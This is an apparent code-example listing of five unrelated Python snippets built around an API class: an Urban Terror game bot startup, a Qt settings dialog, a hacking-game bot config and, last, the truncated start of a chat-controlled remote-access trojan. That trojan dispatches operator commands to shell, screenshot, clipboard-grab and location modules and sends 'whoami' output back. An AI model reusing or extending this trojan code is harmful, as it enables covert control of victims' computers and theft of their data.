Esempio n. 1
0
def Start():
	global BOT, proc, A, config_debugmode, db
	loadConfig()
	auth.load()
	BOT = Bot(config_prefix, config_rconip, config_rcon, config_debugmode, player.PlayerDatabase())
	A = API()
	BOT.Startup()
	loadMods()
	proc = GameOutput(config_serversocket)
	x = os.uname()
	db = database.init()
	A.say('UrTBot V%s loaded on %s (%s/%s)' % (__Version__, sys.platform, x[2], x[4]))
	loop()
Esempio n. 2
0
def Start():
    global BOT, proc, A, config_debugmode, db, config, log
    config = ConfigFile()
    thread_handler.init(config)
    loadConfig(config)
    log = debug.init(config)
    BOT = Bot(config_prefix, config_rconip, config_rcon, config_debugmode, config=config)
    A = API()  # @TODO Fix this bullshit
    BOT.Startup()
    loadMods()
    proc = GameOutput(config_serversocket)

    db = database.init(config)

    x = os.uname()
    A.say("UrTBot V%s loaded on %s (%s/%s)" % (_version_, sys.platform, x[2], x[4]))

    loop()
Esempio n. 3
0
 def btnAceptar_Click(self):
     api = API()
     try:
         api.IP = self.txtIPLocal.text()
         api.puerto = None if self.txtPuertoLocal.text(
         ) == "" else self.txtPuertoLocal.text()
         api.HTTP_PROTOCOL = "https" if self.checkSSL.isChecked(
         ) else "http"
     except ValueError as vError:
         QMessageBox.warning(self, "¡Error!", str(vError))
         return
     response = QMessageBox.question(
         self, "¡Confirmacion!",
         "¿Seguro que desea guardar estas configuraciones?\nCualquier error podria provocar que la applicacion no se ejecute correctamente"
     )
     if response == QMessageBox.Yes:
         result = Logica.GuardarConfiguracionesLocal(api.toJSON())
         if result:
             QMessageBox.information(
                 self, "¡Aviso!",
                 "¡Exito! Configuracion actualizada\nTendra efecto la proxima vez que inicie la app"
             )
             self.close()
Esempio n. 4
0
#!/usr/bin/python2.7
#-*- coding: utf-8

from classes import API
from classes import IP
from console import Console
from update import Update
from utils import Utils
from botnet import Botnet
from random import randrange, uniform
from collections import Counter
import time
import json

# Enter username and password
api = API("username", "password")
# Enter Max Antivir to attack in normal mode
maxanti_normal = 1500

# Enter Max Antivir to attack tournament
maxanti_tournament = 1900

# Enter Amount of Attacks normal
attacks_normal = 3

# Enter Amount of Attacks in tournament
attacks_tournament = 100

# Enter Updates (inet, hdd, cpu, ram, fw, av, sdk, ipsp, spam, scan, adw)
#updates = ["ipsp", "adw", "fw", "scan", "sdk", "av"]
updates = ["ipsp", "scan", "sdk", "av"]
Esempio n. 5
0
# import module in another folder: from <folder-name> import <module-name>
from libs import location
from libs import metadata
from libs import screenshot
from libs import shell
from libs import binaryexec
from libs import report
from libs import soundplay
from libs import clipboardgrab
from libs import winpop
from classes import message
from classes import API
import os

#insert API token here
apiCalls = API.API("Enter API token here")
commandObj = apiCalls.GetMessage()

fullCommand = commandObj.MessageText()
commandSplit = fullCommand.split(" ")
if commandSplit[0] == "/whoami":
    out = shell.executeSysCmd("cmd.exe /c whoami", "", True)
    apiCalls.SendResult(commandObj.ChatID(), commandObj.MessageID(), out)
elif commandSplit[0] == "/screenshot":
    print("[+] Checking length of /screenshot command...")
    if len(commandSplit) < 2:
        print(
            "[!] Screenshot requires at least 2 arguments. Sending error back to operator..."
        )
        apiCalls.ErrorLogger(
            commandObj.ChatID(),